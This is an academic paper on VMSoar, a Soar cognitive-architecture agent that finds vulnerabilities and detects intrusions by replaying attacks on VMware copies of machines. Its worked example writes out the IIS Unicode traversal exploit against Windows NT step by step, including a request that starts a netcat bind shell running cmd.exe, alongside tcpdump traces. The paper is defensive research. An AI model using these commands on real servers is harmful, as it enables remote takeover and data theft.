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Abstract

VMSoar is a cognitive network security agent designed for both network configuration and
long-term security management. It performs automatic vulnerability assessments by exploring a
configuration’s weaknesses and also performs network intrusion detection. VMSoar is built on
the Soar cognitive architecture, and benefits from the general cognitive abilities of Soar,
including learning from experience, the ability to solve a wide range of complex problems, and
use of natural language to interact with humans.

The approach used by VMSoar is very different from that taken by other vulnerability
assessment or intrusion detection systems. VMSoar performs vulnerability assessments by using
VMWare to create a virtual copy of the target machine then attacking the simulated machine
with a wide assortment of exploits. VMSoar uses this same ability to perform intrusion
detection. When trying to understand a sequence of network packets, VMSoar uses VMWare to
make a virtual copy of the local portion of the network and then attempts to generate the
observed packets on the simulated network by performing various exploits. This approach is
initially slow, but Soar’s learning ability significantly speeds up both vulnerability assessment
and intrusion detection with experience.

This paper describes the design and implementation of VMSoar, and initial experiments.

Introduction

Automatic vulnerability assessment and intrusion detection are complex and time-
consuming tasks. Vulnerability assessment usually consists of testing of a machine’s
profile against a database of known vulnerabilities to ensure that patches have been
applied. This approach lacks the ability to discover weaknesses in a specific machine’s or
network’s configuration. Human vulnerability assessment experts can tailor their
investigations to a specific configuration, but automatic assessments cannot.

Intrusion detection is often compared to finding a needle in a haystack. Extremely large
amounts of data are generated by network monitoring utilities, and the goal of the
intrusion detection system is to identify illegal activities that often are identifiable only
by a few anomalous packets.
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These two problems require human-level intelligence to solve. Thus, it is not surprising
that researchers have begun to try to apply artificial intelligence techniques to them. For
example, expert system and machine learning approaches in intrusion detection have
been attempted with some success (Lee, Park & Stolfo, 1999)(Kanlayasiri et al.,
2000)(Balasubramanian et al., 1998), but although a wide variety of approaches have
been tried (Axelsonn, 2000)(Me & Michel, 2001), there has been no comprehensive
effort that we know of that uses human-level reasoning and learning capabilities to
construct intelligent vulnerability assessment or intrusion detection systems.

Our approach is to use a general cognitive architecture that has exhibited human-level
performance on a wide range of tasks. The cognitive architecture that we use is Soar
(Laird, Newell & Rosenbloom, 1987), originally developed at Carnegie-Mellon
University and now in use at many universities and corporations. Soar integrates a
number of cognitive capabilities, including natural language (Lonsdale & Rytting, 2001),
learning (Laird, Newell & Rosenbloom, 1987), real-time response (Nelson, Lehman &
John, 1994), emotion (Marsella, Gratch & Rickel, 2003) and concept learning (Miller,
1993). It has been applied to such diverse tasks as tactical air warfare (Rosenbloom et al.,
1994) and robotics (Benjamin, Lonsdale & Lyons, 2004), both of which are real-time
tasks involving large amounts of data, similar to network intrusion detection.

We have connected Soar to VMWare (http://www.vmware.com) so that it can create
virtual copies of an actual network and explore how different events would cause the
network to evolve. For example, Soar can perceive activity on the network, hypothesize
that an attacker is in the system, simulate possible actions of the attacker, then compare
the actual network to the predicted network to verify or reject the hypothesis. With
experience, Soar’s learning mechanism enables it to predict with greater accuracy the
presence of intruders.

We are currently teaching Soar how to attack networks and individual machines. We
are porting known attacks into Soar, so that it can learn to attack a server and break into a
network. This is necessary for Soar to be able to learn to assess the vulnerabilities of the
target machine, and also for Soar to generate network packets that identify illegal
network use, so that it can learn to detect intruders. Soar is connected to tcpdump so that
it can examine the network activity and learn concepts that describe illegal activities.

The Soar Cognitive Architecture

Soar is a unified cognitive architecture (Newell, 1990) originally developed at
Carnegie-Mellon University and undergoing continuing development at a number of
locations, including the University of Michigan and the Information Sciences Institute at
the University of Southern California, as well as multiple locations in Europe. As a
unified cognitive architecture, Soar exhibits a wide range of capabilities, including
learning to solve problems from experience, concept learning, use of natural language,
and the ability to handle complex tasks.

Declarative knowledge in Soar resides in its working memory, which contains all the
facts Soar knows at any instant. Procedural knowledge in Soar is represented as
operators, which are organized into problem spaces. Each problem space contains the
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operators relevant to interacting with some aspect of the system's environment. In our
system, some problem spaces contain operators describing the actions of VMSoar, such
as executing a particular exploit. Other problem spaces contain operators that interact
with the network, or analyze packets to construct user plans, or classify plans according
to user goals. At each step, Soar must choose one operator to execute. This operator will
alter VMSoar’s memory or interact with the network.

The basic problem-solving mechanism in Soar is universal subgoaling: every time there
is choice of two or more operators, Soar creates a subgoal of deciding which to select,
and brings the entire knowledge of the system to bear on solving this subgoal by selecting
a problem space and beginning to search. This search can itself encounter situations in
which two or more operators can fire, which in turn causes subgoals to be created, etc.
When an operator is successfully chosen, the corresponding subgoal has been solved and
the entire solution process is summarized in a new operator, called a chunk, which
contains the general conditions necessary for that operator to be chosen. This operator is
added to the system, so that in similar future situations the search can be avoided. In this
way, Soar learns.

The Soar publications extensively document how this learning method speeds up the
system's response time in a manner that accurately models the speedup of human subjects
on the same tasks.

Learning to Detect Intruders by Learning to Attack Vulnerabilities

VMSoar’s approach is based on the work of Green & Lehman (2002), who used Soar
to model discourse planning in natural language. Their goal was a computational model
of discourse, in which Soar would interact with a human using English. In their task, Soar
had to do two things: construct an explanation of an incoming utterance and generate an
appropriate response. Their approach was to use “explanation based on generation”, in
which Soar would construct an explanation for the incoming utterance by attempting to
generate a similar utterance on its own. Soar would search among possible combinations
of goals and expectations to try to generate this utterance, and when it succeeded in
matching the utterance it assumed the human’s goals and expectations were those it had
found. This gave Soar an understanding of the goals of the person it was conversing with,
so that Soar could choose appropriate goals for generating a response. Soar also formed a
chunk for this search, so that a similar utterance in the future would be understood in one
step.

Similarly, VMSoar combines vulnerability assessment and intrusion detection. It
performs vulnerability assessment by generating attacks against virtual copies of
machines, and performs intrusion detection by generating possible attacks against a
simulated copy of itself. While performing vulnerability assessment, VMSoar learns how
to generate various behaviors on the network. These learned behaviors are then used
during intrusion detection to try to model the goals of network users.

VMSoar has problem spaces that model normal user behaviors such as viewing a
webpage or downloading a file, and problem spaces that model abnormal behaviors such
as performing a port scan or executing an exploit. Soar is connected both to a physical
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local area network (which it monitors using tcpdump) and to VMWare, a software
product that can create a virtual network consisting of virtual computers. VMSoar
monitors the traffic on the actual network and attempts to find an operator that can
explain the packets it sees originating from a particular remote site in terms of a user
acting in a particular way. If VMSoar succeeds, it adds the user and activity to its model
of the network (which resides in its working memory). If VMSoar fails to find an
appropriate operator, it subgoals. In its subgoal, VMSoar creates a virtual copy of the
local network and repeatedly attempts to replicate the observed activity by firing
sequences of operators from problem spaces that model various user behaviors. VMSoar
searches as long as it takes to identify an acceptable explanation for the observations.
This search can be extremely long, but once it has found an explanation, VMSoar forms a
chunk containing the general conditions necessary for this explanation, so that in the
future this explanation will be made in a single step.

VMSoar thus models intrusion detection as plan recognition, by attempting to
recognize users’ plans and goals so that it can generate expectations about future user
behavior. This approach is completely different than previous attempts to automate
learning about intrusion detection, e.g. Lee, Park & Stolfo (1999), which perform data
mining and classification of network data without any capability to generate alternative
data and compare it.

One of the strengths of this approach is the reduction of false positives, which plague
typical intrusion detection approaches. By actively modeling and reproducing user
behavior, VMSoar can explain legal network activity that it has never seen before,
instead of flagging it as illegal.

VMSoar Framework Description

VMSoar attempts to define an architecture that is scaleable and flexible and can be
extended to achieve the above vision.

At a high level, the VMSoar framework can be thought of as broken into three major
components (see Figure 1 below).

• VMware WorkStation Network
• VMSoar Java Engine
• VMSoar Rules Engine

The VMware WorkStation Network comprises the set of virtual machines that make up
the virtual network. Soar will run network commands and attempt to stage an attack on
this virtual network.
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Figure 1. VMSoar Architecture

The VMSoar Java Engine acts as the glue between the VMware WorkStation Network
and the VMSoar Rules Engine. This component comprises the classes that do the
following major operations:

• Create and start the VMware machines.
• Start a SOAR session and create the SOAR agent.
• Perform a command on the VMware WorkStation Network requested by the

SOAR agent.
• Pass data from the VMware WorkStation Network back to the SOAR agent.

The VMSoar Rules Engine comprises the Tcl Interpreter, Tcl scripts and all the SOAR
rules that make up the SOAR agent.

Example: Exploiting Windows NT

We describe an exploit that VMSoar is capable of launching, and how this capability is
also used for intrusion detection. The exploit described in this section is based on a
known vulnerability of Windows NT, the IIS Unicode Bug, which is explained at

http://screamer.mobrien.com/manuals/MPRM_Group/testing2.html
The VMSoar implementation used in this example possesses a number of problem

spaces that perform different tasks including viewing a webpage, downloading a file and
launching an exploit against Windows NT.

VMSoar launches this exploit from a linux machine. In the example below, we use the
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IP address 192.168.1.15 for the NT machine. The exploit consists of five overall steps:
Step 1. VMSoar executes an operator that pings 192.168.1.15 to determine if a

machine is alive at that address. If it gets a reply, it creates a working memory element
saying the IP address is alive.

Step 2. If the IP is alive, then VMSoar executes an operator that performs the
command: nmap -O 192.168.1.15

This does a portscan of the NT machine and returns a list of open ports. VMSoar stores
these in working memory and notices that http port 80 is open, so perhaps it is running a
websever. VMSoar notices that a netbios port is open, and based on the open ports,
VMSoar stores a prediction that the target OS is a version of Windows.

Step 3. VMSoar executes an operator that performs the following command:
netcat -v -n 192.168.1.15 80
GET HTTP

This returns the following....
HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/4.0
Date: Thu, 4 Apr 2004 23:23:22 GMT
Content-Type: text/html
Content-Length: 87
<html><head><title>Error</title></head><body>The
parameter is incorrect. </body></html> sent 2, rcvd 224

VMSoar stores this in working memory. This causes operators to fire that recognize
Windows NT as the operating system, and also that it is running IIS/4.0 on port 80.

Step 4. VMSoar tries to get a directory listing of the C: drive of the NT machine, by
executing an operator that performs the following command:

nc -v -n 192.168.1.15 80
GET
http://192.168.1.15/scripts/..%255c../winnt/system32/cmd.exe?/c+dir+c:\

This returns a directory listing of the C: drive on the NT machine. VMSoar executes
operators that recognize a successful directory listing, and VMSoar stores this fact in its
working memory.

Step 5. VMSoar executes an operator that performs the following command:
nc -v -n 192.168.1.15 80
GET
http://192.168.1.15/scripts/..%255c../winnt/system32/cmd.exe?//c+nc+-L+-

p+10001+-d+-e+cmd.exe

This complex command executes the following command on the NT IIS server:
nc -L -p 10001 -d -e cmd.exe

This command starts up netcat on the IIS server, with flags that tell Windows not to
close netcat, but to wait for connections on port 10001, and to run cmd.exe when port
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10001 is connected to.

Step 6. Finally, VMSoar executes an operator that performs the following command:
nc -v -n 192.168.1.15 10001

which returns an NT prompt to VMSoar, which can then perform any command on the
NT box.

 Once VMSoar has a problem space to launch this exploit, it can detect this
vulnerability on NT servers on a network. Furthermore, it can use this knowledge to
detect when an intruder is executing any portion of this exploit.

For instance, suppose VMSoar is protecting 192.168.1.15 (the NT machine) and an
intruder is attacking from another machine, which in the code below will be
192.168.1.14. When the intruder is executing a SYN port scan as part of the above
exploit, the following packets can appear on the network (this output is from tcpdump):

01:10:23.445709 192.168.1.14.38931 > 192.168.1.15.711: S 1354789686:1354789686(0) win 5840 <mss
1460,sackOK,timestamp 8958340 0,nop,wscale 0> (DF)
01:10:23.445709 192.168.1.14.38932 > 192.168.1.15.3005: S 358598610:1358598610(0) win 5840 <mss
1460,sackOK,timestamp 8958340 0,nop,wscale 0> (DF)
01:10:23.445709 192.168.1.14.38933 > 192.168.1.15.4500: S 359735835:1359735835(0) win 5840 <mss
1460,sackOK,timestamp 8958340 0,nop,wscale 0> (DF)
01:10:23.445709 192.168.1.14.38934 > 192.168.1.15.1353: S 363526429:1363526429(0) win 5840 <mss
1460,sackOK,timestamp 8958340 0,nop,wscale 0> (DF)
01:10:23.445709 192.168.1.15.711 > 192.168.1.14.38931: R 0:0(0) ack 1354789687 win 0
01:10:23.445709 192.168.1.15.3005 > 192.168.1.14.38932: R 0:0(0) ack 1358598611 win 0
01:10:23.445709 192.168.1.15.4500 > 192.168.1.14.38933: R 0:0(0) ack 1359735836 win 0
01:10:23.445709 192.168.1.15.1353 > 192.168.1.14.38934: R 0:0(0) ack 1363526430 win 0

In this kind of port scan, the attacker finds which ports are available (i.e. being listened
to by a service). A SYN packet is sent (as if we are going to open a connection), and the
target host responds with a SYN+ACK, this indicates the port is listening, and an RST
indicates a non-listener. Subsequent scan results show that "http" port and "netbios" port
are listening.

01:10:23.325709 192.168.1.14.38834 > 192.168.1.15.https: S 1354605482:1354605482(0) win 5840 <mss
1460,sackOK,timestamp 8958328 0,nop,wscale 0> (DF)
01:10:23.325709 192.168.1.15.https > 192.168.1.14.38834: S 1147031:1147031(0) ack 1354605483 win
8760 <mss 1460> (DF)
01:10:23.325709 192.168.1.14.38834 > 192.168.1.15.https: . ack 1 win 5840 (DF)
01:10:22.365709 192.168.1.14.38105 > 192.168.1.15.netbios-ssn: S 1351688221:1351688221(0) win 5840
<mss 1460,sackOK,timestamp 8958232 0,nop,wscale 0> (DF)
01:10:22.365709 192.168.1.15.netbios-ssn > 192.168.1.14.38105: S 1146180:1146180(0) ack 1351688222
win 8760 <mss 1460> (DF)
01:10:22.365709 192.168.1.14.38105 > 192.168.1.15.netbios-ssn: . ack 1 win 5840 (DF)

VMSoar must explain this sequence of packets between 192.168.1.14 and
192.168.1.15, but initially it has no explanation that matches, so it subgoals and attempts
to recreate this sequence of packets. In the subgoal, VMSoar uses VMWare to construct a
virtual copy of 192.168.1.15, with the same basic (virtual) hardware and the same OS and
services. In practice, this is done by storing a virtual image of every machine on the local
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network that VMSoar is protecting. VMWare just loads the stored image, which is
considerably faster than creating a new one.

VMSoar then selects a problem space and executes operators in that space. Suppose it
selects operators that connect legally to a webpage and download it. The packets
generated will not match the pattern of requests and acknowledgements in the above
trace, so this problem space does not satisfy the subgoal, and a new problem space must
be selected.

In this way, VMSoar searches through its stock of problem spaces, attempting to
generate the observed pattern of packets.

Figure 2. Subgoal tree in Soar.

Eventually, it will use a problem space that executes a port scan. It could be the space
containing the above exploit, or any other space for an exploit that executes a similar port
scan. When the operator that executes the port scan is chosen, it will generate the same
pattern of requests and VMSoar will conclude that 192.168.1.14 is executing a port scan.

VMSoar learns at this point by constructing a chunk (a new rule) that summarizes the
search that it performed and the result. Briefly, Soar forms chunks by tracing back
through all the facts it examined in the process of its search and finding those that led to
the result. Soar puts all these facts on the left-hand side of a new rule, and puts the result
of the search on the right-hand side of the new rule. This new rule will match any future
situation that contains these same facts, which in this case will be any situation with the
same pattern of requests and acknowledgements from one machine. Soar will not have to
search, but will immediately fire this rule and assert that the remote machine is executing
a port scan. Over time, VMSoar will learn to recognize a wide range of user behaviors.

At this point, VMSoar will know only that 192.168.1.14 is scanning the ports. As the
input from tcpdump continues, VMSoar will see the following packets:

01:10:23.485709 192.168.1.14.57996 > 192.168.1.15.http: SE 1210652233:1210652233(0) win 2048
<wscale 10,nop,mss 265,timestamp 1061109567 0,eol>
01:10:23.485709 192.168.1.14.57997 > 192.168.1.15.http: . win 2048 <wscale 10,nop,mss 265,timestamp
1061109567 0,eol>
01:10:23.485709 192.168.1.14.57998 > 192.168.1.15.http: SFP 1210652233:1210652233(0) win 2048 urg
0 <wscale 10,nop,mss 265,timestamp 1061109567 0,eol>

Goal: explain packets
01:10:23.445709 192.168.1.14.38931 > 192.168.1.15.71
01:10:23.445709 192.168.1.14.38932 > 192.168.1.15.3005:
. . .

Subgoal: try
downloading
webpage

Subgoal: try
connecting to
mail server

Subgoal: try
limewire
peer-to-peer

Subgoal: try
IIS Unicode
exploit

. . .
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This part of the log reflects an invalid combination of flags. According to rfc-3186
there are certain combination of TCP flags that are considered invalid. In the log there are
two invalid combinations, such as “SE”, “SFP”. A host must not set ECT on SYN or
SYN-ACK packets.

VMSoar is deliberately not programmed with knowledge about specific combinations
of invalid flags, which is the typical approach to intrusion detection, but rather must
generate the behavior to explain it. As above, VMSoar does not initially possess any
matching pattern for this illegal combination of flags, and performs a search just as
before through all its problem spaces to find one whose operators will generate this
pattern. The IIS Unicode exploit problem space will eventually be used, and will generate
the pattern of SE and SFP occurring at exactly the same timestamp, and VMSoar will
conclude that a user at 192.168.1.14 is executing this exploit, and notify the system
administrator of the attack. VMSoar will also learn a chunk summarizing this pattern.

Summary and Future Work

We have described VMSoar, a network security agent based on Soar, a mature
cognitive architecture. VMSoar combines vulnerability assessment and intrusion
detection by generating attacks against virtual copies of machines, and learns how to
associate patterns of network activity with illegal user actions.

The immediate goal of this project is to implement a much wider range of behaviors
within VMSoar, so that it can grow into a practical tool for both vulnerability assessment
and intrusion detection. The long-range vulnerability assessment goal is to apply this tool
to the detection of vulnerabilities in Windows XP. The long-range intrusion detection
goal is the development of a tool that can detect nearly all intruders while generating few
false positives.
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